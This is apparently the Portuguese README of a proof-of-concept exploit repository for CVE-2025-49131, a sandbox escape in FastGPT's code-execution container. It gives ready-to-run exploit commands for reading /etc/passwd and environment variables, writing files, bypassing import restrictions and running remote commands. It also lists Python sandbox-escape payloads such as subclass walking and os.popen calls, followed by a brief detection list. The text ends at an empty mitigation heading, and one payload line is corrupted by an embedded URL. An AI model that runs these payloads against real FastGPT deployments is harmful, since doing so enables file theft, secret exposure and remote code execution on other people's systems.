CVE-2025-49131 - PoC de Escape de Sandbox do FastGPT

 ███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
 ██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
 █████╗  ███████║███████╗   ██║   ██║  ███╗██████╔╝   ██║   
 ██╔══╝  ██╔══██║╚════██║   ██║   ██║   ██║██╔═══╝    ██║   
 ██║     ██║  ██║███████║   ██║   ╚██████╔╝██║        ██║   
 ╚═╝     ╚═╝  ╚═╝╚══════╝   ╚═╝    ╚═════╝ ╚═╝        ╚═╝   
                                                            
 ███████╗ █████╗ ███╗   ██╗██████╗ ██████╗  ██████╗ ██╗  ██╗
 ██╔════╝██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
 ███████╗███████║██╔██╗ ██║██║  ██║██████╔╝██║   ██║ ╚███╔╝ 
 ╚════██║██╔══██║██║╚██╗██║██║  ██║██╔══██╗██║   ██║ ██╔██╗ 
 ███████║██║  ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
 ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═════╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝
                                                            
 ███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗           
 ██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝           
 █████╗  ███████╗██║     ███████║██████╔╝█████╗             
 ██╔══╝  ╚════██║██║     ██╔══██║██╔═══╝ ██╔══╝             
 ███████╗███████║╚██████╗██║  ██║██║     ███████╗           
 ╚══════╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝     ╚══════╝           
                                                            
        ╔═══════════════════════════════════════╗
        ║     CVE-2025-49131 | CVSS 6.3        ║
        ║   FastGPT Sandbox Container Escape   ║
        ║      Affected: < v4.9.11             ║
        ╚═══════════════════════════════════════╝

🎯 Visão Geral da Vulnerabilidade

Campo	Valor
ID do CVE	CVE-2025-49131
Pontuação CVSS	6.3 (Média)
Vetor CVSS	AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Tipo de Vulnerabilidade	Escape de Sandbox
Software Afetado	FastGPT (contêiner fastgpt-sandbox)
Versões Afetadas	< 4.9.11
Versão Corrigida	4.9.11+
Data de Divulgação	9 de junho de 2025

⚠️ Aviso Legal

Esta ferramenta destina-se apenas a pesquisas de segurança autorizadas e fins educacionais.

• Teste apenas em sistemas que você possua ou para os quais tenha permissão explícita por escrito
• Siga práticas de divulgação responsável
• Cumpra todas as leis e regulamentações aplicáveis

📖 Descrição

CVE-2025-49131 é uma vulnerabilidade de escape de sandbox no contêiner fastgpt-sandbox do FastGPT. A vulnerabilidade existe devido a:

• Mecanismos de isolamento insuficientes - A sandbox não restringe adequadamente os builtins do Python
• Chamadas de sistema excessivamente permissivas - Syscalls perigosas não são bloqueadas
• Restrições inadequadas de execução de código - Restrições de import podem ser contornadas

Impacto

A exploração bem-sucedida permite que um atacante:

• ✅ Ler arquivos arbitrários - Acessar /etc/passwd, arquivos de configuração, segredos
• ✅ Gravar arquivos arbitrários - Modificar arquivos do sistema, injetar código malicioso
• ✅ Contornar restrições de import do Python - Importar módulos os, subprocess
• ✅ Possível RCE - Executar comandos do sistema por meio de módulos importados

🚀 Início Rápido

# Clone this repository
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc

# Install dependencies
pip install -r requirements.txt

# Run vulnerability detection
python poc.py --target http://localhost:3001 --detect

# Read a file
python poc.py --target http://localhost:3001 --read /etc/passwd

# Attempt RCE
python poc.py --target http://localhost:3001 --rce "id"

🔧 Configuração do Ambiente Vulnerável

# Start vulnerable and patched containers
docker-compose up -d

# Vulnerable sandbox on port 3001
# Patched sandbox on port 3002

💻 Uso

Modo de Detecção (Não destrutivo)

python poc.py --target http://localhost:3001 --detect -v

Ler Arquivos Arbitrários

python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ

Gravar Arquivos

python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"

Bypass de Importação

python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess

Variáveis de Ambiente

python poc.py --target http://localhost:3001 --env

Execução Remota de Código

python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"

Opções Completas

python poc.py --help

📁 Estrutura do Projeto

cve-2025-49131-poc/
├── poc.py                # Main exploit script
├── payloads.py           # Payload generator library
├── docker-compose.yml    # Test environment
├── requirements.txt      # Python dependencies
├── README.md             # This file
└── tests/
    └── test_exploit.py   # Automated tests

🔬 Detalhes Técnicos

Causa Raiz da Vulnerabilidade

A sandbox do FastGPT foi projetada para executar código enviado pelo usuário em um ambiente isolado. No entanto, os mecanismos de isolamento são insuficientes:

1. Acesso aos __builtins__ do Python - A sandbox não restringe adequadamente o acesso a funções embutidas como open(), __import__(), etc.

2. Filtragem de Syscalls - A lista de syscalls permitidas inclui chamadas perigosas que possibilitam o acesso ao sistema de arquivos

3. Bypass das Restrições de Importação - Existem várias técnicas para contornar as restrições de importação de módulos

Fluxo de Exploração

┌─────────────────────────────────────────────┐
│ 1. Send malicious code to sandbox API       │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 2. Bypass sandbox restrictions using:       │
│    - __builtins__ manipulation              │
│    - Subclass walking                       │
│    - Import bypass techniques               │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 3. Gain access to:                          │
│    - File system (read/write)               │
│    - os/subprocess modules                  │
│    - Environment variables                  │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 4. Impact:                                  │
│    - Data exfiltration                      │
│    - Code injection                         │
│    - Remote command execution               │
└─────────────────────────────────────────────┘

Exemplos de Payloads

Leitura de Arquivo:

open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()

Bypass de Importação:

__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__() 
 if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/main/%27os%27)

RCE:

__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)

🛡️ Detecção e Mitigação

Detecção

Procure por atividades suspeitas nos logs da sandbox:

• Tentativas de acessar /etc/passwd, /etc/shadow
• Chamadas a __builtins__, __import__
• Uso dos módulos subprocess ou os
• Operações incomuns de leitura/gravação de arquivos

Mitigação